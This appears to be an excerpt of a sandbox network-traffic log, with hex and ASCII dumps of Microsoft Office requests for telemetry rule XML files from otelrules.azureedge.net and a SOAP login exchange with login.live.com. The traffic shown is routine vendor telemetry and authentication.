2024-11-15 15:16:24 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-15 15:16:24 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-15 15:16:24 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-15 15:16:24 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 053649b2-001e-00ad-26a0-34554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-164f84587bft9l9khC1DFW32rc00000001b000000000mvq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:25 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49750	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-15 15:16:25 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-15 15:16:25 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Nov 2024 15:15:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 0fdf39fe-c19e-406b-a643-f2208b90f903 PPServer: PPV: 30 H: PH1PEPF0001B78C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 15:16:24 GMT Connection: close Content-Length: 1276
2024-11-15 15:16:25 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: db45c3c2-701e-0053-2e8e-363a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-164f84587bfbvgrghC1DFWbs7w000000019g00000000nyqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:25 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-16547b76f7f7rtshhC1DFWrtqn0000000n7g00000000qzru x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:25 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-16547b76f7ftnm6xhC1DFW9c8c00000001400000000081su x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ea341ef8-a01e-0098-41af-368556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-1866b5c5fbb5hnj5hC1DFW18sc00000001m000000000ffwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 8b045ba5-601e-00ab-050b-3666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-1866b5c5fbb5hnj5hC1DFW18sc00000001kg00000000fu49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-16547b76f7ftnm6xhC1DFW9c8c00000000zg00000000pw5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-16547b76f7fp6mhthC1DFWrggn0000000nfg000000005kny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 